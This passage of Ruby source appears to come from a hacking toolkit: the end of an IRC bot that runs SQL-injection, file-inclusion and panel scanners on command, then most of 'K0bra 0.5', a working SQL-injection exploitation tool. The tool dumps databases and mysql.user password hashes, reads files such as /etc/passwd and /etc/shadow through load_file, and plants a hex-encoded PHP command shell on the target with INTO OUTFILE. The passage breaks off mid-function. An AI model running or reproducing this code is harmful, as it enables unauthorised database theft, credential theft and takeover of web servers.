    print "\n[+] Online\n"
    while 1 
      code = $irc.recv(9999)	
      if code=~/PING (.*)/ 
        $irc.print "PONG #{$1}\n"
      end 
      if code=~/:(.*)!(.*) PRIVMSG (.*) :(.*)/
	      dedonde = $1
	      mensaje = $4
	      if dedonde==admin
		
		if mensaje=~/!sqli (.*)/
		 arg1 = $1
		 arg1 = arg1.chomp
		 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin,scanner_sqli(arg1,"--"))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!lfi (.*)/
		 arg1 = $1
		 arg1 = arg1.chomp
		 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin,scanner_lfi(arg1))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!panel(.*)/
		 arg1 = $1
		 arg1 = arg1.chomp
		 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin,scanner_panel(arg1))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!fuzzdns (.*)/
		 arg1 = $1
		 arg1 = arg1.chomp
		 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin,scanner_dns(arg1))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!locateip (.*)/
		 arg1 = $1
		 arg1 = arg1.chomp
		 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin, locateip(arg1))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!sqlifinder (.*) (.*) (.*)/
		 arg1 = $1
		 arg2 = $2
		 arg3 = $3
		 arg1 = arg1.chomp
		 arg2 = arg2.chomp
		 arg3 = arg3.chomp
		 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin,sqli_finder(arg1,arg2,arg3))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!rfifinder (.*) (.*) (.*)/
		 arg1 = $1
		 arg1 = $2
		 arg1 = $3
		 arg1 = arg1.chomp
		 arg2 = arg2.chomp
		 arg3 = arg3.chomp
		$irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin,rfi_finder(arg1,arg2,arg3))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!crackit (.*)/
		 arg1 = $1
		 arg1 = arg1.chomp
		 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin,crack_md5(arg1))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!tinyurl (.*)/
		 arg1 = $1
		 arg1 = arg1.chomp
		 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin,tiny_url(arg1))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!httpfinger (.*)/
		 arg1 = $1
		 arg1 = arg1.chomp
		 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin,get_httpfinger(arg1))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!md5 (.*)/
		 arg1 = $1
		 arg1 = arg1.chomp
		 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin,md5_encode(arg1))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!base64 (.*) (.*)/
		 arg1 = $1
		 arg2 = $2
		 arg1 = arg1.chomp
		 arg2 = arg2.chomp
		 if arg2=="encode"
		  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		  respuesta(admin,codificar_base64(arg1))
		  $irc.print "PRIVMSG #{admin} [+] Finished\n"	 
	         end
		 if arg2=="decode"
		  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		  respuesta(admin,decodificar_base64(arg1))
		  $irc.print "PRIVMSG #{admin} [+] Finished\n"	 
	         end              
	       end

	       if mensaje=~/!hex (.*) (.*)/
		 arg1 = $1
		 arg2 = $2
		 arg1 = arg1.chomp
		 arg2 = arg2.chomp
		 if arg2=="encode"
		  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		  respuesta(admin,codificar_hex(arg1))
		  $irc.print "PRIVMSG #{admin} [+] Finished\n"	 
	         end
		 if arg2=="decode"
		  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		  respuesta(admin,decodificar_hex(arg1))
		  $irc.print "PRIVMSG #{admin} [+] Finished\n"	 
	         end              
	       end

	  
	       if mensaje=~/!ascii (.*)/
		 arg1 = $1
		 arg1 = arg1.chomp
		 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
		 respuesta(admin,codificar_ascii(arg1))
		 $irc.print "PRIVMSG #{admin} [+] Finished\n"
	       end
	       if mensaje=~/!help/
		about = ""
	        about = about + "Hi , I am ClapTrap an assistant robot programmed by Doddy Hackman in the year 2014" + "\n";
                about = about + "[++] Commands" + "\n";
                about = about + "[+] !help" + "\n";
		about = about + "[+] !locateip <web>" + "\n";
                about = about + "[+] !sqlifinder <dork> <count pages> <google/bing>" + "\n";
                about = about + "[+] !rfifinder <dork> <count pages> <google/bing>" + "\n";
                about = about + "[+] !panel <page>" + "\n";
                about = about + "[+] !fuzzdns <domain>" + "\n";
                about = about + "[+] !sqli <page>" + "\n";
		about = about + "[+] !lfi <page>" + "\n";
		about = about + "[+] !crackit <hash>" + "\n";
                about = about + "[+] !tinyurl <page>" + "\n";
                about = about + "[+] !httpfinger <page>" + "\n";
	        about = about + "[+] !md5 <text>" + "\n";
                about = about + "[+] !base64 <encode/decode> <text>" + "\n";
                about = about + "[+] !ascii <encode/decode> <text>" + "\n";
                about = about + "[+] !hex <encode/decode> <text>" + "\n";
                about = about + "[++] Enjoy this IRC Bot" + "\n";
		respuesta(admin,about)
	       end
	      end
      end
    end
  end
end

head()

print "[+] Host : "
host = gets.chomp
print "\n[+] Port : "
port = gets.chomp
print "\n[+] Channel : "
channel = gets.chomp
print "\n[+] Admin : "
admin = gets.chomp

bot_online(host,port,channel,admin)

copyright()

# The End ? 

#!usr/bin/ruby
#K0bra 0.5
#(C) Doddy Hackman 2015

require "net/http"
require "open-uri"

$files = ['C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/admin.php','C:/xampp/htdocs/leer.txt','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf','C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf','C:\ProgramFiles\xampp\apache\conf\httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf','/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php','/usr/local/etc/apache/vhosts.conf','/etc/php.ini','/bin/php.ini','/etc/httpd/php.ini','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini','/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini','/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/web/conf/php.ini','/usr/local/Zend/etc/php.ini','/opt/xampp/etc/php.ini','/var/local/www/conf/php.ini','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','c:\php5\php.ini','c:\php4\php.ini','c:\php\php.ini','c:\PHP\php.ini','c:\WINDOWS\php.ini','c:\WINNT\php.ini','c:\apache\php\php.ini','c:\xampp\apache\bin\php.ini','c:\NetServer\bin\stable\apache\php.ini','c:\home2\bin\stable\apache\php.ini','c:\home\bin\stable\apache\php.ini','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log','/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf','C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log','C:\ProgramFiles\MySQL\data\hostname.err','C:\ProgramFiles\MySQL\data\mysql.log','C:\ProgramFiles\MySQL\data\mysql.err','C:\ProgramFiles\MySQL\data\mysql-bin.log','C:\MySQL\data\hostname.err','C:\MySQL\data\mysql.log','C:\MySQL\data\mysql.err','C:\MySQL\data\mysql-bin.log','C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini','C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf','C:\ProgramFiles\MySQL\my.ini','C:\ProgramFiles\MySQL\my.cnf','C:\MySQL\my.ini','C:\MySQL\my.cnf','/etc/logrotate.d/proftpd','/www/logs/proftpd.system.log','/var/log/proftpd','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf','/etc/proftpd/modules.conf','/var/log/vsftpd.log','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/var/log/xferlog','/var/adm/log/xferlog','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts','/etc/wu-ftpd/ftpusers','/usr/sbin/pure-config.pl','/usr/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl','/usr/local/pureftpd/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/var/log/pure-ftpd/pure-ftpd.log','/logs/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log','/var/log/ftp-proxy','/var/log/ftplog','/etc/logrotate.d/ftp','/etc/ftpchroot','/etc/ftphosts','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog','/var/log/exim/rejectlog','/var/log/exim_rejectlog']

def toma(web)
  begin
    return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  rescue
    return "Error"
  end
end

def decode_hex(text)
  text = text.sub("0x","")
  return [text].pack('H*')[0]
end

def encode_hex(text)
  return "0x"+text.unpack('H*')[0]
end

def copyright()
  print "\n-- == (C) Doddy Hackman 2015 == --\n"
  gets.chomp
  exit(1)
end

def installer()
  dir = Dir::pwd+"/"+"logs_webs"
  if not FileTest::directory?(dir)
    Dir::mkdir(dir)
  end
end

def savefile(file,text)
  url = URI.parse(file)
  save = File.open("logs_webs/"+url.host+".txt","a")
  save.puts text+"\n"
  save.close
end

def bypass(op)
  if op=="--"
    return "+","--"
  elsif op=="/*"
   return "/**/","/**/"
  elsif op=="%20"
   return "%20","%00"
  else
   return "+","--"    
  end
end

def head()
  clean()
  print "
  
 @      @@   @             
@@     @  @ @@             
 @ @@  @  @  @ @   @ @ @@@ 
 @ @   @  @  @@ @ @@@ @  @ 
 @@    @  @  @  @  @   @@@ 
 @ @   @  @  @  @  @  @  @ 
@@@ @   @@   @@@  @@@ @@@@@

"
end

def volverinicio()
  print "\n\n[+] Press any key to continue\n\n"
  gets.chomp
  inicio()
end

def clean()
  if RUBY_PLATFORM=~/win/ or RUBY_PLATFORM=~/min/
    system("cls")
  else
    system("clear")
  end
end

def retorno(url,by)
  print "\n[+] Finished"
  print "\n\n[+] Press any key to continue\n\n"
  gets.chomp
  central(url,by)
end

def gettables(url,by)
  pass1,pass2 = bypass(by)
  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))")
  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))")
  print "\n[+] Getting tables ...\n\n"
  code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  if code1=~/K0BRA(.*?)K0BRA/
    total = $1
    print "[+] Tables Found : ",total,"\n\n"
    savefile(url,"\n[+] Tables Found : #{total}\n")
    for num in ("17"..total)
      code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+num+",1"+pass2)
      if code2=~/K0BRA(.*?)K0BRA/
        table = $1
        print "[+] Table Found : "+table+"\n"
        savefile(url,"[+] Table Found : #{table}")
      end
    end
  else
    print "[-] Not Found\n"
  end 
end

def getcolumns(url,by,tablex)
  tablexa = encode_hex(tablex)
  pass1,pass2 = bypass(by)
  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))")
  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))")
  print "\n[+] Getting columns ...\n\n"
  code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tablexa+pass2)
  if code1=~/K0BRA(.*?)K0BRA/
    total = $1
    print "[+] Columns Found : ",total,"\n\n"
    savefile(url,"\n[+] Table : #{tablex}")
    savefile(url,"[+] Columns Found : #{total}\n")
    for num in ("0"..total)
      code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tablexa+pass1+"limit"+pass1+num+",1"+pass2)
      if code2=~/K0BRA(.*?)K0BRA/
        table = $1
        print "[+] Column Found : "+table+"\n"
        savefile(url,"[+] Column Found : #{table}")
      end
    end
  else
    print "[-] Not Found\n"
  end 
end

def getdbs(url,by)
  pass1,pass2 = bypass(by)
  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))")
  print "\n[+] Getting DBS ...\n\n"
  code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
  if code1=~/K0BRA(.*?)K0BRA/
    total = $1
    print "[+] DBS Found : ",total,"\n\n"
    savefile(url,"\n[+] DBS Found : #{total}\n")
    for num in ("0"..total)
      code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+num+",1"+pass2)
      if code2=~/K0BRA(.*?)K0BRA/
        table = $1
        print "[+] DB Found : "+table+"\n"
        savefile(url,"[+] DB Found : #{table}")
      end
    end
  else
    print "[-] Not Found\n"
  end 
end

def gettablesbydb(url,by,dbx)
  data  = encode_hex(dbx)
  pass1,pass2 = bypass(by)
  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))")
  print "\n[+] Getting tables ...\n\n"
  code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+data+pass2)
  if code1=~/K0BRA(.*?)K0BRA/
    total = $1
    print "[+] Tables Found : ",total,"\n\n"
    savefile(url,"\n[+] DBS : #{dbx}")
    savefile(url,"[+] Tables Found : #{total}\n")
    for num in ("0"..total)
      code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+data+pass1+"limit"+pass1+num+",1"+pass2)
      if code2=~/K0BRA(.*?)K0BRA/
        table = $1
        print "[+] Table Found : "+table+"\n"
        savefile(url,"[+] Table Found : #{table}")
      end
    end
  else
    print "[-] Not Found\n"
  end 
end

def getcolumnsbydb(url,by,db,tab)
  data = encode_hex(db)
  tabx = encode_hex(tab)
  
  pass1,pass2 = bypass(by)
  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))")
  print "\n[+] Getting columns ...\n\n"
  code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabx+pass1+"and"+pass1+"table_schema="+data+pass2)
  if code1=~/K0BRA(.*?)K0BRA/
    total = $1
    print "[+] Columns Found : ",total,"\n\n"
    savefile(url,"\n[+] DB : #{db}")
    savefile(url,"[+] Table : #{tab}")
    savefile(url,"[+] Columns Found : #{total}\n")
    for num in ("0"..total)
      code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabx+pass1+"and"+pass1+"table_schema="+data+pass1+"limit"+pass1+num+",1"+pass2)
      if code2=~/K0BRA(.*?)K0BRA/
        table = $1
        print "[+] Column Found : "+table+"\n"
        savefile(url,"[+] Column Found : #{table}")
      end
    end
  else
    print "[-] Not Found\n"
  end 
end

def mysqluser(url,by)
  pass1,pass2 = bypass(by)
  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))")
   print "\n[+] Searching mysql.user\n\n"
  code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  if code1=~/K0BRA(.*?)K0BRA/
    total = $1
    print "[+] Users Mysql Found : ",total,"\n\n"
    savefile(url,"[+] Users Mysql Found : "+total+"\n")
    for num in ("0"..total)
      code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+num+",1"+pass2)
      if code2=~/K0BRA(.*)K0BRAK0BRA1(.*)K0BRA1K0BRA2(.*)K0BRA2/
        host,user,passw = $1,$2,$3
        print "[Host] : "+host
        print " [User] : "+user
        print " [Pass] : "+passw+"\n"   
        savefile(url,"[Host] : "+host)
        savefile(url,"[User] : "+user)
        savefile(url,"[Pass] : "+passw+"\n")
      end
    end
  else
    print "[-] Not Found\n"
  end
end

def details(url,by)
  pass1,pass2 = bypass(by)
  hextest = "0x2f6574632f706173737764" #/etc/passwd
  hextest = "0x633A2F78616D70702F726561642E747874" #c:/xampp/read.txt
  web1 = url.sub(/hackman/,"0x4b30425241")
  web2 = url.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
  web3 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))")
   print "\n[+] Extrating information of the DB\n"
  code1 = toma(web2)
  if code1=~/K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA/
    user,data,ver = $1,$2,$3
    print "\n[+] Username : "+user
    print "\n[+] Database : "+data
    print "\n[+] Version : "+ver+"\n\n"
    savefile(url,"\n[+] Username : "+user)
    savefile(url,"[+] Database : "+data)
    savefile(url,"[+] Version : "+ver+"\n")
  else
    print "[-] Not Found\n"
  end
   code2 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
   code3 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
   code4 = toma(web3)
   if code2=~/K0BRA/
     print "[+] Mysql User : ON\n"
     savefile(url,"[+] Mysqluser : ON")
   end
   if code3=~/K0BRA/
     print "[+] information_schema : ON\n"
     savefile(url,"[+] information_schema : ON")
   end
   if code4=~/ERTOR854/
     print "[+] load_file : ON\n"
     savefile(url,"[+] load_file : ON")
   end   
   savefile(url,"") #espacio en blanco
 end
 
 def dumper(url,by,table,col1,col2)
  pass1,pass2 = bypass(by)
  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,"+col2+",0x4b30425241)))")
  print "\n[+] Getting Values ...\n\n"
  code1 = toma(web1+pass1+"from"+pass1+table+pass2)
  if code1=~/K0BRA(.*?)K0BRA/
    total = $1
    savefile(url,"\n[+] Table : "+table)
    savefile(url,"[+] Column 1 : "+col1)
    savefile(url,"[+] Column 2 : "+col2)
    print "[+] Values Found : ",total,"\n"
    savefile(url,"\n[+] Values Found : #{total}\n")
    for num in ("0"..total)
      code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+num+",1"+pass2)
      if code2=~/K0BRA(.*)K0BRA(.*)K0BRA/
        uno,dos = $1,$2
        print "\n[+] "+col1+" : "+uno+"\n"
        print "[+] "+col2+" : "+dos+"\n"
        savefile(url,"\n[+] "+col1+" : "+uno)
        savefile(url,"[+] "+col2+" : "+dos)
      end
    end
  else
    print "[-] Not Found\n"
  end 
end

def fuzzfile(url,by)
  pass1,pass2 = bypass(by)
  print "\n[+] Fuzzing Files with load_file ....\n"
  $files.each do |file|
    res = file
    file = file.chomp
    file = encode_hex(file)
    web1 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+file+"),char(69,82,84,79,82,56,53,52))))")
    code = toma(web1)
    if code=~/ERTOR854(.*?)ERTOR854/m
      print "\n\n[File Found] : ",res
      print "\n\n[Source Start]\n"
      print $1
      print "\n[Source End]"
      savefile(url,"\n[File Found] : "+res)
      savefile(url,"\n[Source Start]\n")
      savefile(url,$1)
      savefile(url,"\n[Source End]")
    end    
  end
  print "\n"
end

def abrirfile(url,by,file)
  pass1,pass2 = bypass(by)
  print "\n[+] Opening file ....\n"
  res = file
  file = encode_hex(file)
    web1 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+file+"),char(69,82,84,79,82,56,53,52))))")
    code = toma(web1)
    if code=~/ERTOR854(.*?)ERTOR854/m
      print "\n\n[File Found] : ",res
      print "\n\n[Source Start]\n"
      print $1
      print "\n[Source End]\n"
      savefile(url,"\n[File Found] : "+res)
      savefile(url,"\n[Source Start]\n")
      savefile(url,$1)
      savefile(url,"\n[Source End]\n")
    else
      print "\n\n[-] Error\n\n" 
    end 
       
end

def into(url,by,full,dir)
  pass1,pass2 = bypass(by)
  linea= "0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e"
  lugar = full+"/cmd.php"
  lugardos = dir+"/cmd.php"
  h = URI.parse(url)
  webtest = "http://"+h.host+lugardos
  web1 = url.sub(/hackman/,linea)
  formandoweb = web1+pass1+"into"+pass1+"outfile"+pass1+"'"+lugar+"'"+pass2
  toma(formandoweb)
  code = toma(webtest)
  if code=~/Mini Shell By Doddy/
    print "\n[Shell Up] : "+webtest+"\n"
    savefile(url,"\n[Shell Up] : "+webtest+"\n")
  else
    print "\n\n[-] Error\n"
  end
end

def central(url,by)
  clean()
  head()
  print "\n\n[+] Page : #{url}\n"
  print "[+] ByPass : #{by}\n\n"

  print "\n[information_schema]\n\n"
  print "1 - Show tables\n"
  print "2 - Show columns of the a table\n"
  print "3 - Show databases\n"
  print "4 - Show tables from the a DB\n"
  print "5 - Show columns from the a table of the DB\n"
  print "\n[mysql.user]\n\n"
  print "6 - Show users\n"
  print "\n[Others]\n\n"
  print "7 - Show details\n"
  print "8 - Dump data\n" 
  print "9 - Fuzz Files with load_file\n"
  print "10 - Load files with load_file\n"
  print "11 - Create Shell\n"
  print "12 - Show log\n"
  print "13 - Change target\n"
  print "14 - Exit\n\n\n"
  
  print "[+] Option : "
  op = gets.chomp
  print "\n"
   
  if op == "1"
    gettables(url,by)
    retorno(url,by)
  elsif op == "2"
    print "\n[+] Table : "
    table = gets.chomp
    getcolumns(url,by,table)
    retorno(url,by)
  elsif op == "3"
    getdbs(url,by)
    retorno(url,by)
  elsif op == "4"
    print "\n[+] DB : "
    db = gets.chomp
    gettablesbydb(url,by,db)
    retorno(url,by)
  elsif op == "5"
    print "\n[+] DB : "
    db = gets.chomp
    print "\n[+] Table : "
    tab = gets.chomp
    getcolumnsbydb(url,by,db,tab)
    retorno(url,by)
  elsif op == "6"
    mysqluser(url,by)
    retorno(url,by)
  elsif op == "7"
    details(url,by)
    retorno(url,by)
  elsif op == "8"
    print "\n[+] Table : "
    table = gets.chomp
    print "\n[+] Column 1 : "
    col1 = gets.chomp
    print "\n[+] Column 2 : "
    col2 = gets.chomp
    dumper(url,by,table,col1,col2)
    retorno(url,by)
  elsif op == "9"
    fuzzfile(url,by)
    retorno(url,by)
  elsif op == "10"
    print "\n[+] File : "
    file = gets.chomp
    abrirfile(url,by,file)
    retorno(url,by)
  elsif op == "11"
    print "\n[Full Source Discloure] : "
    full = gets.chomp
    print "\n[Directory to test] : "
    dir = gets.chomp
    into(url,by,full,dir)
    retorno(url,by)
  elsif op == "12"
    urla = URI.parse(url)
    ar = "logs_webs/"+urla.host+".txt"
    system("start #{ar}")
    retorno(url,by)
  elsif op == "13"
    inicio()
  elsif op == "14"
    copyright()
  else
    retorno(url,by)
  end
end

def findlength(url,by)
  pass1,pass2 = bypass(by)
  z = "1"
  print "\n[+] Finding columns lenght ...\n\n"
  x = "concat(0x4b30425241,1,0x4b30425241)"
  for num in ('2'..'25')
    z = z+","+num
    x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
    code = toma(url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+x)
    if code=~/K0BRA(.*?)K0BRA/
      print "[+] The Page has "+num+" columns\n"
      print "[+] The number "+$1+" print data"
      z = z.sub($1,"hackman")
      sqli = url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+z
      savefile(url,"[+] SQLI : "+sqli)
      savefile(url,"[+] Bypass : "+by+"\n")
      central(sqli,by)
    end
  end
  print "[-] Columns lenght not found\n"
  volverinicio()
end

def testvul(page,by) 
  pass1,pass2 = bypass(by)
